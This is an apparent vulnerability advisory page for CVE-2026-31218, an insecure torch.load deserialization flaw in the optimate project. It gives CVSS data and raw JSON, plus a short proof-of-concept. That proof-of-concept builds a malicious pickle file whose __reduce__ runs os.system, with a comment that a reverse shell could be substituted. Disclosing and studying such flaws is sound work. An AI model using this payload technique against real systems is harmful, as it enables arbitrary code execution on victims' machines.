Security Vulnerability Report
中文
CVE-2026-31218 CVSS 8.8 HIGH

CVE-2026-31218

Published: 2026-05-12 16:16:14
Last Modified: 2026-05-15 15:16:51

Description

The _load_model() function in the neural_magic_training.py script of the optimate project in commit a6d302f912b481c94370811af6b11402f51d377f (2024-07-21) is vulnerable to insecure deserialization (CWE-502). When loading a model state dictionary from a state_dict.pt file via torch.load(), the function does not enable the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects through the Pickle module. A remote attacker can exploit this by providing a maliciously crafted state_dict.pt file within a directory specified via the --model argument, leading to arbitrary code execution during the deserialization process on the victim's system.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

optimate (commit a6d302f9 及之前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import os import torch # Define a malicious class to execute arbitrary code class MaliciousPayload: def __reduce__(self): # Execute a simple command (e.g., create a file or pop calc) # In a real attack, this could be a reverse shell return (os.system, ('touch /tmp/pwned_by_cve_2026_31218',)) # Create the malicious payload object payload = MaliciousPayload() # Serialize the payload using pickle with open('malicious_state_dict.pt', 'wb') as f: pickle.dump(payload, f) print("[+] Malicious state_dict.pt generated successfully.") print("[+] Usage: ./optimate --model ./malicious_state_dict.pt") # --- Simulation of the vulnerable code path --- # def _load_model(path): # # Vulnerable call without weights_only=True # return torch.load(path) # # _load_model('./malicious_state_dict.pt')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31218", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:13.710", "lastModified": "2026-05-15T15:16:50.730", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The _load_model() function in the neural_magic_training.py script of the optimate project in commit a6d302f912b481c94370811af6b11402f51d377f (2024-07-21) is vulnerable to insecure deserialization (CWE-502). When loading a model state dictionary from a state_dict.pt file via torch.load(), the function does not enable the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects through the Pickle module. A remote attacker can exploit this by providing a maliciously crafted state_dict.pt file within a directory specified via the --model argument, leading to arbitrary code execution during the deserialization process on the victim's system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/nebuly-ai/optimate", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31218-35d1e139318881839bc8cf6007be2c76", "source": "[email protected]"}]}}